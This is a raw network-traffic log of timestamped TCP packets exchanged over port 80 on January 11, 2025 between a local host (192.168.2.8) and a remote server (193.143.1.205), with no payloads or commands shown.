Jan 11, 2025 01:54:52.936429977 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.936439991 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.936450958 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.936461926 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.936475039 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:52.936489105 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:52.936501980 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:52.936841965 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.936851978 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.937139034 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:52.943319082 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:52.953185081 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:52.982023001 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.982039928 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.982053995 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.982067108 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.982081890 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.982207060 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:52.982207060 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:53.001605988 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:53.011214972 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:53.018785954 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.018807888 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.018845081 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.018866062 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.018881083 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.018892050 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:53.018892050 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:53.018893003 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.018908024 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.018930912 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.018944025 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:53.018944979 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:53.018944979 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.018981934 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.018981934 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:53.018996000 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.019010067 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.019023895 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.019040108 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.019053936 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:53.019139051 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.019153118 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.019166946 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.019176006 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:53.019176006 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:53.019180059 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.019196033 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.019207954 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.019231081 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:53.019231081 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:53.019346952 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:53.027220964 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:53.055696964 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.055711031 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.055882931 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.055917978 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.055929899 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:53.055929899 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:53.055932045 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.055962086 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.055983067 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.055984020 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:53.055996895 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.056011915 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.056026936 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.056040049 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.056050062 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:53.056050062 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:53.056052923 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.056076050 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.056090117 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.056094885 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:53.056109905 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.056139946 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.056148052 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:53.056148052 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:53.056174040 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.056189060 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.056202888 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.056211948 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:53.056245089 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.056252956 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.056267023 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.056282997 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:53.056282997 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:53.056288958 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.056303978 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.056380987 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:53.056386948 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.056401014 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.056416035 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.056438923 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.056442976 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:53.056504011 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.056513071 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:53.056519032 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.056533098 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.056546926 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.056562901 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.056572914 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:53.056577921 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.056591988 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.056601048 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:53.056607962 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.056618929 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:53.056619883 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.056662083 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:53.056662083 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:53.056803942 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.056826115 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.056847095 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.056863070 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.056864023 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:53.056878090 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.056890965 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.056905031 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.056905031 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:53.056919098 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.056936026 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.056948900 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.056960106 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:53.056960106 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:53.057038069 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:53.057055950 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.057070971 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.057086945 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.057101965 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.057113886 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:53.057185888 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.057185888 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:53.057199955 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.057214975 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.057228088 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.057243109 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.057246923 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:53.057257891 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.057271957 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.057286024 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.057296038 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:53.057296038 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:53.057301044 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.057374954 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:53.057519913 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.057534933 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.057548046 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.057554007 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:53.057562113 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.057576895 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.057590961 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.057610989 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.057619095 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:53.057619095 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:53.057657003 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.057672024 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.057684898 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.057698011 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.057707071 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:53.057707071 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:53.057713032 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.057728052 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.057770967 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.057774067 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:53.057774067 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:53.057786942 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.057801008 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.057813883 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.057825089 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:53.057827950 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.057842970 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.057852983 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:53.057857037 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.057871103 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.057883978 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.057899952 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.057908058 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.057912111 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:53.057912111 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:53.057921886 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.057936907 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.057966948 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:53.057966948 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:53.058317900 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.058332920 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.058366060 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:53.062685966 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:53.070139885 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.070202112 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.070211887 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:53.070215940 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.070238113 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.070252895 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.070255995 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:53.070267916 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.070282936 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.070298910 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.070322037 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:53.070369959 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:53.104072094 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:53.107629061 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.107647896 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.107660055 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.107671022 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.107682943 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.107693911 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.107706070 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.107722998 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:53.107727051 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.107753038 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.107796907 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.107805014 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:53.107820034 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:53.107822895 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.107896090 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:53.107996941 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.108017921 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.108028889 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.108047962 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.108058929 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.108061075 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:53.108068943 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.108081102 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.108091116 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.108091116 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:53.108103037 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.108114004 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.108124018 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.108127117 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:53.108155966 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:53.108166933 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:53.118917942 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:53.144342899 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.144361973 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.144372940 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.144407988 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.144418955 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.144431114 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.144442081 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.144453049 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.144457102 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:53.144540071 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.144551992 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.144561052 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.144608974 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.144620895 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.144632101 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.144642115 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.144644022 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:53.144644022 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:53.144644022 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:53.144654989 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.144668102 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:53.144695997 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.144728899 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:53.144728899 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:53.144747019 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.144757032 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.144767046 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.144778013 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.144785881 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:53.144789934 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.144908905 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.144916058 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:53.144926071 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.144944906 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.144952059 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:53.144954920 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.144975901 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:53.144978046 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.144994020 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.145004988 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.145015955 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.145020008 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:53.145028114 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.145062923 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:53.145062923 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:53.145137072 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.145226002 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.145239115 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.145262957 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.145275116 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:53.145281076 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.145292044 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.145302057 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.145302057 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:53.145314932 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.145325899 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:53.145343065 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.145351887 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:53.145354986 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.145380974 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.145390034 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.145407915 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:53.145437956 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:53.145461082 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.145474911 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.145484924 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.145494938 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.145504951 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.145531893 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:53.145531893 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:53.145544052 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.145612001 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:53.145629883 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.145641088 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.145651102 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.145663023 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.145674944 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.145678043 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:53.145685911 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.145704985 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:53.145782948 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:53.145822048 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.145832062 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.145843029 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.145852089 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.145869017 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.145886898 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.145895958 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:53.145915031 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:53.145958900 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.145968914 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.145978928 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.145988941 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.145991087 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:53.146009922 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:53.146092892 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:53.146164894 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.146176100 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.146186113 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.146197081 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.146207094 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:53.146208048 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.146219015 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.146229029 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.146260023 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:53.146264076 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.146281958 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.146291018 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.146298885 CET	49706	80	192.168.2.8	193.143.1.205
